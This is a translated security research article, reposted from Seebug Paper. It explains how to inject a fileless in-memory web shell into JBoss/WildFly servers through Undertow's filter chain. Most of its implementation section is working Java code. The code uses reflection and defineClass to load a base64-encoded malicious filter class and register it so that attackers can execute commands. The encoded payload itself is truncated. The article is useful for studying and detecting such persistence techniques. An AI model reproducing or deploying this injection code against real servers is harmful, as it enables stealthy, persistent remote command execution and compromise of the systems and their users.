Research on JBOSS file free web shell

Author: wide byte security
Original link: https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw
This article is the author's contribution. Seebug Paper is looking forward to your sharing. If you use it, you will have a gift!
Submission email: paper@seebug.org


In the previous articles, I mainly studied the file free web shell of tomcat and weblogic. This paper focuses on jboss's fileless webhsell. The following analysis is based on the community version of jboss, wildfly-20.0.0.Final.

0x01 wildfly load Filter analysis

Make a breakpoint at the Filter, as shown in the figure, and observe the stack

jboss is relatively simple, and the code to process Filter is as follows

io.undertow.servlet.handlers.FilterHandler#handleRequest

public void handleRequest(HttpServerExchange exchange) throws Exception {
    ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY);
    ServletRequest request = servletRequestContext.getServletRequest();
    ServletResponse response = servletRequestContext.getServletResponse();
    DispatcherType dispatcher = servletRequestContext.getDispatcherType();
    Boolean supported = (Boolean)this.asyncSupported.get(dispatcher);
    if (supported != null && !supported) {
        servletRequestContext.setAsyncSupported(false);
    }


    List<ManagedFilter> filters = (List)this.filters.get(dispatcher);
    if (filters == null) {
        this.next.handleRequest(exchange);
    } else {
        FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
        filterChain.doFilter(request, response);
    }
}

In the handleRequest method of the FilterHandler, get the filter to create the filter. And create FilterChainImpl. We continue to look up which functions call hadleRequest. stay io.undertow.servlet.handlers.ServletChain#ServletChain Method, the forceInit method is executed, and the code of the forceInit method is as follows

io.undertow.servlet.handlers.ServletChain#forceInit
            List<ManagedFilter> list = filters.get(dispatcherType);
            if(list != null && !list.isEmpty()) {
                for(int i = 0; i < list.size(); ++i) {
                    ManagedFilter filter = list.get(i);
                    filter.forceInit();
                }
            }

Follow the forceInit method of ManagedFilter. The main function of forceInit method is to call the createFilter method of ManagedFilter to initialize a Filter. The code is as follows

    public void createFilter() throws ServletException {
        synchronized (this) {
            if (filter == null) {
                try {
                    handle = filterInfo.getInstanceFactory().createInstance();
                } catch (Exception e) {
                    throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e);
                }
                Filter filter = handle.getInstance();
                new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed();
                this.filter = filter;
            }
        }
    }

We can see that in this function, if it is detected that the Filter is not registered, a Filter will be initialized through LifecyleInterceptorInvocation and added to the Filter of the FilterHandler.

0x02 implementation

1. Get ServletChain

In the ServletRequestContext, we can find the following methods

    /**
     * Gets the current threads {@link ServletRequestContext} if set, otherwise null.
     *
     * @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable
     */
    public static ServletRequestContext current() {
        SecurityManager sm = System.getSecurityManager();
        if(sm != null) {
            sm.checkPermission(GET_CURRENT_REQUEST);
        }
        return CURRENT.get();
    }

Through s ervletRequestContext.current This static method can get the current ServletRequestContext object. In the ServletRequestContext object, the ServerChain object we need is stored.

2. Get the filter of ServletChain by reflection

The type of filter is EnumMap, the key is REQUEST, and the value is array. The filter to be called is stored in turn. It can be called by reflection. The code is as follows

    Field filtersF = servletChain.getClass().getDeclaredField("filters");
    filtersF.setAccessible(true);
    java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

3. Create ManagedFilter

In the filter of ServletChain, the type in the array is ManagedFilter. In the construction parameters of ManagedFilter, two parameters are required, namely FilterInfo and servletContext. These two parameters are constructed as follows

3.1 FilterInfo

In FilterInfo, not required Class.forName , load the Filter class by name. Instead, you only need to provide the class of Filter in the parameter. The relevant codes are as follows

    public FilterInfo(final String name, final Class<? extends Filter> filterClass) {
        try {
            final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor();
            ctor.setAccessible(true);
            this.instanceFactory = new ConstructorInstanceFactory<>(ctor);
            this.name = name;
            this.filterClass = filterClass;
        } catch (NoSuchMethodException e) {
            throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass);
        }
    }

3.2 servletContext

servletContext and Context are not of the same type. But you can get the servletContext object from the Context.

The complete code is as follows

    Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current");
    Object curContext = currentM.invoke(null);

    Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
    Object servletChain = getCurrentServletM.invoke(curContext);

    Field filtersF = servletChain.getClass().getDeclaredField("filters");
    filtersF.setAccessible(true);
    java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

    String evilFilterClassName = "testFilter1";
    Class evilFilterClass = null;

    try {
        evilFilterClass = Class.forName(evilFilterClassName);
    } catch (ClassNotFoundException e) {
        BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
        String codeClass = "H4sIAAAAAAAA...";
        Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClassM.setAccessible(true);
        evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
    }

    ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
    Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass);

    Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest");
    servletRequestF.setAccessible(true);
    Object obj = servletRequestF.get(curContext);

    Field servletContextF = obj.getClass().getDeclaredField("servletContext");
    servletContextF.setAccessible(true);
    Object servletContext = servletContextF.get(obj);

    Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext);

    filterList.add(evilManagedFilter);

0x03 result inspection

jboss has some special features. The memory horse above can only be triggered in pages that can be accessed normally. The effect is as follows

Add the command that needs to be executed, the memory horse starts to execute the command, and enters the result

Normal access page, no response

This article was published by Seebug Paper. If you need to reprint it, please indicate the source. Address: https://paper.seebug.org/1252/

Tags: Java shell Tomcat Weblogic

Posted on Tue, 23 Jun 2020 05:12:50 -0400 by wee493